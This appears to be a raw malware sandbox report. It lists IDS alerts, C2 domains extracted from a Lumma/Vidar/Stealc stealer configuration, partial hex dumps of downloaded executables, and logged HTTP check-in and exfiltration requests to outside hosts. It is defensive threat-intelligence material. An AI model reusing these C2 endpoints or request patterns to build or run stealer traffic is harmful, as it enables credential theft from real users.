Source: Network traffic	Suricata IDS: 2056151 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI) : 192.168.2.5:49754 -> 172.67.208.139:443
Source: Network traffic	Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.5:49746 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2056153 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI) : 192.168.2.5:49753 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.5:49745 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2056162 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop) : 192.168.2.5:64788 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.5:49715 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.75.211.162:443 -> 192.168.2.5:49717
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.75.211.162:443 -> 192.168.2.5:49716
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49746 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49749 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49746 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49754 -> 172.67.208.139:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49747 -> 172.67.132.32:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49751 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49749 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49751 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49750 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49747 -> 172.67.132.32:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49752 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49757 -> 172.67.189.2:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49757 -> 172.67.189.2:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49750 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49748 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49748 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49754 -> 172.67.208.139:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49753 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49753 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: gutterydhowi.shop
Source: Malware configuration extractor	URLs: drawzhotdog.shop
Source: Malware configuration extractor	URLs: ghostreedmnu.shop
Source: Malware configuration extractor	URLs: vozmeatillu.shop
Source: Malware configuration extractor	URLs: stogeneratmns.shop
Source: Malware configuration extractor	URLs: offensivedzvju.shop
Source: Malware configuration extractor	URLs: fragnantbui.shop
Source: Malware configuration extractor	URLs: reinforcenh.shop
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199780418869

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 25 Sep 2024 16:01:00 GMTContent-Type: application/octet-streamContent-Length: 26112Last-Modified: Wed, 25 Sep 2024 14:57:44 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f424e8-6600"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 03 70 14 f9 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 5c 00 00 00 08 00 00 00 00 00 00 be 7b 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 68 7b 00 00 53 00 00 00 00 80 00 00 86 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 5b 00 00 00 20 00 00 00 5c 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 86 05 00 00 00 80 00 00 00 06 00 00 00 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 7b 00 00 00 00 00 00 48 00 00 00 02 00 05 00 74 43 00 00 f4 37 00 00 03 00 02 00 07 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 28 00 00 0a 2a 2e 73 09 00 00 06 80 07 00 00 04 2a 1a 28 33 00 00 06 2a 32 02 7b 09 00 00 04 28 14 00 00 06 2a 32 02 7b 0a 00 00 04 28 1a 00 00 06 2a 36 02 7c 0c 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 10 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 13 00 00 04 03 28 34 00 00 0a 2a 52 02 73 45 00 00 0a 25 6f 46 00 00 0a 18 60 6f 47 00 00 0a 2a 46 02 28 48 00 00 0a 28 49 00 00 0a 28 09 00 00 2b 2a 86 03 6f 4d 00 00 0a 25 3a 03 00 00 00 26 16 2a 28 4e 00 00 0a 02 7b 19 00 00 04 1b 6f 4f 00 00 0a 2a 5a 02 7b 20 00 00 04 72 af 02 00 70 28 01 00 00 06 28 5a 00 00 0a 2a 32 02 7b 22 00 00 04 28 3d 00 00 0a 2a 36 02 7c 24 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 28 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 2c 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 34 00 00 04 03 28 34 00 00 0a 2a 36 02 7c 37 00 00 04 03 28 34 00 00 0a 2a 2e 28 67 00 00 0a 28 18 00 00 2b 2a a6 72 15 03 00 70 28 01 00 00 06 80 3a 00 00 04 72
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 25 Sep 2024 16:01:03 GMTContent-Type: application/octet-streamContent-Length: 377384Last-Modified: Wed, 25 Sep 2024 14:55:57 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f4247d-5c228"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 76 23 f4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 92 05 00 00 08 00 00 00 00 00 00 ee b0 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 b0 05 00 57 00 00 00 00 c0 05 00 b8 05 00 00 00 00 00 00 00 00 00 00 00 9c 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 5c af 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 90 05 00 00 20 00 00 00 92 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 b8 05 00 00 00 c0 05 00 00 06 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 05 00 00 02 00 00 00 9a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 b0 05 00 00 00 00 00 48 00 00 00 02 00 05 00 c0 9e 05 00 9c 10 00 00 03 00 02 00 13 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4d d0 0c ca ae e4 f6 a2 5c 3d e1 dd 1c e6 94 08 e1 9e 18 53 8e a6 a6 21 d5 7d 10 53 99 74 d0 9f fd 0b 26 91 50 d5 69 40 cf fa 32 1e f9 9d 5e 06 2d e8 d4 cb a4 34 d2 4e 7f cd 10 aa 97 5e 49 47 ca 58 10 43 3a 2c fc 9f 3c 4a d4 cc fa 17 0f a4 49 7b 79 5d 63 66 34 73 91 d6 e5 1d 4f af 88 1a 18 dc 29 11 c4 3b 1b 78 6f 7a f7 cb ed a9 9f da 16 ed 64 69 06 30 61 34 59 93 5a ba f1 17 79 52 86 b5 00 ba 37 55 e1 00 07 0f 38 66 80 b6 bf 1a 64 a4 4c ff 2a c2 65 bc 71 11 37 31 b9 43 57 fa 42 6d 4b 0f 1a ef dd 4c 96 24 66 d4 b0 27 c7 d7 80 b0 04 e4 e4 01 4f 36 f3 cd 2c 2d 42 1f 68 28 a9 a9 11 80 1d 6c f3 d4 c0 cc 7f b9 0c 7d b7 48 c9 c6 37 c6 24 a0 d0 be fd ef 0f 24 0d 71 ba be 8f 88 a9 79 05 a4 c2 ac 83 62 8e ff 96 40 1e 67 e3 40 86 42 5b f5 94 31 0d 2b 14 a5 93 a3 73 03 ff 14 e5 eb ad fb a0 49 db 72 5a 6f 0e 64 ba 8d 08 b0 64 88 5d 58 8c f3 15 1c fa f0 07 f8 8e 36 08 18 a5 0b 19 89 c0 66 bb f3 48 d7 f7 3d 2

Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /get_update.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 19Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /get_file.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 84Expect: 100-continue
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.67.189.2 172.67.189.2
Source: Joe Sandbox View	IP Address: 172.67.162.108 172.67.162.108
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49714 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49716 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49715 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49718 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49717 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49713 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49719 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49721 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49720 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49722 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49723 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49724 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49725 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49726 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49728 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49727 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49729 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49735 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49732 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49734 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49731 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49730 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49737 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49739 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49736 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.5:49742 -> 5.75.211.162:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKECUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFHCGIJECFHIDGDBKEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 7209Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 461Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 113477Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKECUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGDBFBGIDGIEBGHCGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 5.75.211.162Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ghostreedmnu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: offensivedzvju.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: vozmeatillu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
